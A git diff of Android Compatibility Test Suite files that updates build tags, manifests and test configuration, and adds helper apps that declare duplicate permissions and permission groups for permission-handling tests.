similarity index 100%
rename from tests/tests/packageinstaller/emptytestapp/AndroidManifest.xml
rename to tests/tests/packageinstaller/test-apps/emptytestapp/AndroidManifest.xml
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
index 84c2696..ef930af 100644
--- a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
@@ -122,7 +122,7 @@
             mContext.getPackageManager().getPackageInstaller().uninstall(TEST_PKG_NAME,
                     PendingIntent.getBroadcast(mContext, 1,
                             new Intent(CALLBACK_ACTION),
-                            0).getIntentSender());
+                            PendingIntent.FLAG_MUTABLE).getIntentSender());
         });
 
         int status = statusFuture.join();
@@ -145,7 +145,7 @@
     private void pinActivity(ComponentName component) {
         mWmState.computeState();
 
-        int stackId = mWmState.getStackIdByActivity(component);
+        int stackId = mWmState.getRootTaskIdByActivity(component);
 
         runWithShellPermissionIdentity(() -> {
             mActivityTaskManager.startSystemLockTaskMode(
diff --git a/tests/tests/packagewatchdog/Android.bp b/tests/tests/packagewatchdog/Android.bp
index 53e5efb..46ec52d 100644
--- a/tests/tests/packagewatchdog/Android.bp
+++ b/tests/tests/packagewatchdog/Android.bp
@@ -38,4 +38,5 @@
         "src/**/*.java",
     ],
     sdk_version: "test_current",
+    min_sdk_version: "30",
 }
diff --git a/tests/tests/packagewatchdog/AndroidManifest.xml b/tests/tests/packagewatchdog/AndroidManifest.xml
index d0d2f81..d4d49d06 100644
--- a/tests/tests/packagewatchdog/AndroidManifest.xml
+++ b/tests/tests/packagewatchdog/AndroidManifest.xml
@@ -18,6 +18,9 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.packagewatchdog.cts">
 
+    <!-- TODO: change to 31 when it is finalized. -->
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
+
     <application android:label="PackageWatchdog TestCase">
         <uses-library android:name="android.test.runner" />
     </application>
diff --git a/tests/tests/packagewatchdog/TEST_MAPPING b/tests/tests/packagewatchdog/TEST_MAPPING
new file mode 100644
index 0000000..17e84ff
--- /dev/null
+++ b/tests/tests/packagewatchdog/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsPackageWatchdogTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index 06b02c6..fd12ce4 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -25,6 +25,7 @@
         "cts",
         "general-tests",
         "sts",
+        "mts-permission",
     ],
     // Include both the 32 and 64 bit versions
     compile_multilib: "both",
@@ -37,9 +38,14 @@
         "androidx.annotation_annotation",
         "platformprotosnano",
         "permission-test-util-lib",
+        "nativetesthelper",
+        // TODO(b/175251166): remove once Android migrates to JUnit 4.12,
+        // which provides assertThrows
+        "testng",
     ],
     jni_libs: [
         "libctspermission_jni",
+        "libpermissionmanager_native_test",
         "libnativehelper_compat_libc++",
     ],
     srcs: [
diff --git a/tests/tests/permission/AndroidManifest.xml b/tests/tests/permission/AndroidManifest.xml
index 4169ca2..e559076 100644
--- a/tests/tests/permission/AndroidManifest.xml
+++ b/tests/tests/permission/AndroidManifest.xml
@@ -16,42 +16,44 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.permission.cts" android:targetSandboxVersion="2">
+     package="android.permission.cts"
+     android:targetSandboxVersion="2">
 
     <!-- for android.permission.cts.PermissionGroupChange -->
     <permission android:name="android.permission.cts.B"
-                android:protectionLevel="dangerous"
-                android:label="@string/perm_b"
-                android:permissionGroup="android.permission.cts.groupB"
-                android:description="@string/perm_b" />
+         android:protectionLevel="dangerous"
+         android:label="@string/perm_b"
+         android:permissionGroup="android.permission.cts.groupB"
+         android:description="@string/perm_b"/>
 
     <!-- for android.permission.cts.PermissionGroupChange -->
     <permission android:name="android.permission.cts.C"
-                android:protectionLevel="dangerous"
-                android:label="@string/perm_c"
-                android:permissionGroup="android.permission.cts.groupC"
-                android:description="@string/perm_c" />
+         android:protectionLevel="dangerous"
+         android:label="@string/perm_c"
+         android:permissionGroup="android.permission.cts.groupC"
+         android:description="@string/perm_c"/>
 
     <!-- for android.permission.cts.LocationAccessCheckTest -->
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
 
     <!-- for android.permission.cts.PermissionGroupChange -->
     <permission-group android:description="@string/perm_group_b"
-                      android:label="@string/perm_group_b"
-                      android:name="android.permission.cts.groupB" />
+         android:label="@string/perm_group_b"
+         android:name="android.permission.cts.groupB"/>
 
     <!-- for android.permission.cts.PermissionGroupChange -->
     <permission-group android:description="@string/perm_group_c"
-                      android:label="@string/perm_group_c"
-                      android:name="android.permission.cts.groupC" />
+         android:label="@string/perm_group_c"
+         android:name="android.permission.cts.groupC"/>
 
-    <uses-permission android:name="android.permission.INJECT_EVENTS" />
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.INJECT_EVENTS"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name="android.permission.cts.PermissionStubActivity"
-                  android:label="PermissionStubActivity">
+             android:label="PermissionStubActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
@@ -59,30 +61,29 @@
         </activity>
 
         <service android:name=".NotificationListener"
-                 android:exported="true"
-                 android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+             android:exported="true"
+             android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
             <intent-filter>
-                <action android:name="android.service.notification.NotificationListenerService" />
+                <action android:name="android.service.notification.NotificationListenerService"/>
             </intent-filter>
         </service>
     </application>
 
     <!--
-        The CTS stubs package cannot be used as the target application here,
-        since that requires many permissions to be set. Instead, specify this
-        package itself as the target and include any stub activities needed.
+                The CTS stubs package cannot be used as the target application here,
+                since that requires many permissions to be set. Instead, specify this
+                package itself as the target and include any stub activities needed.
 
-        This test package uses the default InstrumentationTestRunner, because
-        the InstrumentationCtsTestRunner is only available in the stubs
-        package. That runner cannot be added to this package either, since it
-        relies on hidden APIs.
-    -->
+                This test package uses the default InstrumentationTestRunner, because
+                the InstrumentationCtsTestRunner is only available in the stubs
+                package. That runner cannot be added to this package either, since it
+                relies on hidden APIs.
+            -->
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.permission.cts"
-                     android:label="CTS tests of android.permission">
+         android:targetPackage="android.permission.cts"
+         android:label="CTS tests of android.permission">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index cd26a5f..2afae12 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -23,6 +23,12 @@
 
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
 
+    <!-- Keep screen on for Bluetooth scanning -->
+    <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
+        <option name="force-skip-system-props" value="true" /> <!-- avoid restarting device -->
+        <option name="screen-always-on" value="on" />
+    </target_preparer>
+
     <!-- Install main test suite apk -->
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
@@ -39,6 +45,9 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="push" value="CtsAppThatRequestsPermissionAandB.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsPermissionAandB.apk" />
         <option name="push" value="CtsAppThatRequestsPermissionAandC.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsPermissionAandC.apk" />
+        <option name="push" value="CtsAppThatRequestsBluetoothPermission30.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsBluetoothPermission30.apk" />
+        <option name="push" value="CtsAppThatRequestsBluetoothPermission31.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsBluetoothPermission31.apk" />
+        <option name="push" value="CtsAppThatRequestsBluetoothPermissionNeverForLocation31.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsBluetoothPermissionNeverForLocation31.apk" />
         <option name="push" value="CtsAppThatRequestsContactsPermission16.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsContactsPermission16.apk" />
         <option name="push" value="CtsAppThatRequestsContactsPermission15.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsContactsPermission15.apk" />
         <option name="push" value="CtsAppThatRequestsContactsAndCallLogPermission16.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsContactsAndCallLogPermission16.apk" />
@@ -48,6 +57,7 @@
         <option name="push" value="CtsAppThatRequestsLocationPermission22.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationPermission22.apk" />
         <option name="push" value="CtsAppThatRequestsStoragePermission29.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsStoragePermission29.apk" />
         <option name="push" value="CtsAppThatRequestsStoragePermission28.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsStoragePermission28.apk" />
+        <option name="push" value="CtsAppThatRequestsLocationAndBackgroundPermission28.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationAndBackgroundPermission28.apk" />
         <option name="push" value="CtsAppThatRequestsLocationAndBackgroundPermission29.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationAndBackgroundPermission29.apk" />
         <option name="push" value="CtsAppThatAccessesLocationOnCommand.apk->/data/local/tmp/cts/permissions/CtsAppThatAccessesLocationOnCommand.apk" />
         <option name="push" value="AppThatDoesNotHaveBgLocationAccess.apk->/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk" />
@@ -67,6 +77,14 @@
         <option name="push" value="CtsInstallPermissionEscalatorApp.apk->/data/local/tmp/cts/permissions/CtsInstallPermissionEscalatorApp.apk" />
         <option name="push" value="CtsAppThatRequestsOneTimePermission.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsOneTimePermission.apk" />
         <option name="push" value="AppThatDefinesUndefinedPermissionGroupElement.apk->/data/local/tmp/cts/permissions/AppThatDefinesUndefinedPermissionGroupElement.apk" />
+        <option name="push" value="CtsAppThatDefinesPermissionA.apk->/data/local/tmp/cts/permissions/CtsAppThatDefinesPermissionA.apk" />
+        <option name="push" value="CtsAppThatAlsoDefinesPermissionA.apk->/data/local/tmp/cts/permissions/CtsAppThatAlsoDefinesPermissionA.apk" />
+        <option name="push" value="CtsAppThatAlsoDefinesPermissionADifferentCert.apk->/data/local/tmp/cts/permissions/CtsAppThatAlsoDefinesPermissionADifferentCert.apk" />
+        <option name="push" value="CtsAppThatAlsoDefinesPermissionGroupADifferentCert.apk->/data/local/tmp/cts/permissions/CtsAppThatAlsoDefinesPermissionGroupADifferentCert.apk" />
+        <option name="push" value="CtsAppThatDefinesPermissionInPlatformGroup.apk->/data/local/tmp/cts/permissions/CtsAppThatDefinesPermissionInPlatformGroup.apk" />
+        <option name="push" value="CtsAppThatAlsoDefinesPermissionGroupADifferentCert30.apk->/data/local/tmp/cts/permissions/CtsAppThatAlsoDefinesPermissionGroupADifferentCert30.apk" />
+        <option name="push" value="CtsAppThatDefinesPermissionWithInvalidGroup.apk->/data/local/tmp/cts/permissions/CtsAppThatDefinesPermissionWithInvalidGroup.apk" />
+        <option name="push" value="CtsAppThatDefinesPermissionWithInvalidGroup30.apk->/data/local/tmp/cts/permissions/CtsAppThatDefinesPermissionWithInvalidGroup30.apk" />
         <option name="push" value="CtsStorageEscalationApp28.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp28.apk" />
         <option name="push" value="CtsStorageEscalationApp29Full.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp29Full.apk" />
         <option name="push" value="CtsStorageEscalationApp29Scoped.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp29Scoped.apk" />
diff --git a/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp b/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
index 168a20b..6f5f8f4 100644
--- a/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
+++ b/tests/tests/permission/AppThatAccessesCalendarContactsBodySensorCustomPermission/Android.bp
@@ -26,5 +26,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
index ca372c6..9618d5d 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
@@ -27,6 +27,7 @@
         "cts",
         "general-tests",
         "sts",
+        "mts",
     ],
     srcs: [
         "src/**/*.java",
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/AndroidManifest.xml b/tests/tests/permission/AppThatAccessesLocationOnCommand/AndroidManifest.xml
index e735330..5162a7c 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/AndroidManifest.xml
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/AndroidManifest.xml
@@ -16,18 +16,18 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.permission.cts.appthataccesseslocation"
-    android:versionCode="1">
+     package="android.permission.cts.appthataccesseslocation"
+     android:versionCode="1">
 
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
 
     <application android:label="CtsLocationAccess">
-        <service android:name=".AccessLocationOnCommand">
+        <service android:name=".AccessLocationOnCommand"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.permission.cts.accesslocation" />
+                <action android:name="android.permission.cts.accesslocation"/>
             </intent-filter>
         </service>
     </application>
 </manifest>
-
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
index b248f3c..75f4a0c 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
@@ -25,40 +25,34 @@
 import android.location.LocationListener;
 import android.location.LocationManager;
 import android.os.Bundle;
-import android.os.Handler;
 import android.os.IBinder;
 import android.os.Looper;
 
 public class AccessLocationOnCommand extends Service {
-    // Longer than the STATE_SETTLE_TIME in AppOpsManager
-    private static final long BACKGROUND_ACCESS_SETTLE_TIME = 11000;
-
     private IAccessLocationOnCommand.Stub mBinder = new IAccessLocationOnCommand.Stub() {
         public void accessLocation() {
-            new Handler(Looper.getMainLooper()).postDelayed(() -> {
-                Criteria crit = new Criteria();
-                crit.setAccuracy(ACCURACY_FINE);
+            Criteria crit = new Criteria();
+            crit.setAccuracy(ACCURACY_FINE);
 
-                AccessLocationOnCommand.this.getSystemService(LocationManager.class)
-                        .requestSingleUpdate(crit, new LocationListener() {
-                            @Override
-                            public void onLocationChanged(Location location) {
-                            }
+            AccessLocationOnCommand.this.getSystemService(LocationManager.class)
+                    .requestSingleUpdate(crit, new LocationListener() {
+                        @Override
+                        public void onLocationChanged(Location location) {
+                        }
 
-                            @Override
-                            public void onStatusChanged(String provider, int status,
-                                    Bundle extras) {
-                            }
+                        @Override
+                        public void onStatusChanged(String provider, int status,
+                                Bundle extras) {
+                        }
 
-                            @Override
-                            public void onProviderEnabled(String provider) {
-                            }
+                        @Override
+                        public void onProviderEnabled(String provider) {
+                        }
 
-                            @Override
-                            public void onProviderDisabled(String provider) {
-                            }
-                        }, null);
-            }, BACKGROUND_ACCESS_SETTLE_TIME);
+                        @Override
+                        public void onProviderDisabled(String provider) {
+                        }
+                    }, Looper.getMainLooper());
         }
     };
 
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionA/Android.bp b/tests/tests/permission/AppThatAlsoDefinesPermissionA/Android.bp
new file mode 100644
index 0000000..a8b5b08
--- /dev/null
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionA/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatAlsoDefinesPermissionA",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    certificate: ":cts-testkey1",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionA/AndroidManifest.xml b/tests/tests/permission/AppThatAlsoDefinesPermissionA/AndroidManifest.xml
new file mode 100644
index 0000000..2a80301
--- /dev/null
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionA/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatalsodefinespermissiona">
+
+    <permission android:name="com.android.cts.duplicatepermission.permA"
+                android:permissionGroup="com.android.cts.duplicatepermission.groupA"/>
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/Android.bp b/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/Android.bp
new file mode 100644
index 0000000..3918052
--- /dev/null
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatAlsoDefinesPermissionADifferentCert",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    certificate: ":cts-testkey2",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/AndroidManifest.xml b/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/AndroidManifest.xml
new file mode 100644
index 0000000..d333bf6
--- /dev/null
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionADifferentCert/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatdefinespermissiona.differentcert">
+
+    <permission android:name="com.android.cts.duplicatepermission.permA"/>
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/Android.bp b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/Android.bp
new file mode 100644
index 0000000..08d1985
--- /dev/null
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatAlsoDefinesPermissionGroupADifferentCert",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    certificate: ":cts-testkey2",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/AndroidManifest.xml b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/AndroidManifest.xml
new file mode 100644
index 0000000..59cd518
--- /dev/null
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatdefinespermissiongroupa.differentcert">
+
+    <permission-group android:name="com.android.cts.duplicatepermission.groupA"
+                      android:label="groupA"/>
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/Android.bp b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/Android.bp
new file mode 100644
index 0000000..3ef945d
--- /dev/null
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatAlsoDefinesPermissionGroupADifferentCert30",
+    defaults: ["cts_defaults"],
+    sdk_version: "30",
+    certificate: ":cts-testkey2",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/AndroidManifest.xml b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/AndroidManifest.xml
new file mode 100644
index 0000000..43ed9db
--- /dev/null
+++ b/tests/tests/permission/AppThatAlsoDefinesPermissionGroupADifferentCert30/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatdefinespermissiongroupa.differentcert30">
+
+    <permission-group android:name="com.android.cts.duplicatepermission.groupA"
+                      android:label="groupA"/>
+
+    <application />
+</manifest>
+
diff --git a/tests/tests/permission/AppThatDefinesPermissionA/Android.bp b/tests/tests/permission/AppThatDefinesPermissionA/Android.bp
new file mode 100644
index 0000000..f7e9089
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesPermissionA/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatDefinesPermissionA",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    certificate: ":cts-testkey1",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+}
diff --git a/tests/tests/permission/AppThatDefinesPermissionA/AndroidManifest.xml b/tests/tests/permission/AppThatDefinesPermissionA/AndroidManifest.xml
new file mode 100644
index 0000000..527618c
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesPermissionA/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.permission.cts.appthatdefinespermissiona">
+    <permission-group android:name="com.android.cts.duplicatepermission.groupA"
+                      android:label="groupA"/>
+
+    <permission android:name="com.android.cts.duplicatepermission.permA"
+                android:permissionGroup="com.android.cts.duplicatepermission.groupA"/>
+
+    <application/>
+</manifest>
+
diff --git a/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/Android.bp b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/Android.bp
new file mode 100644
index 0000000..afe356a
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesPermissionWithInvalidGroup/Android.bp
@@ -0,0 +1,31 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatDefinesPermissionWithInvalidGroup",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
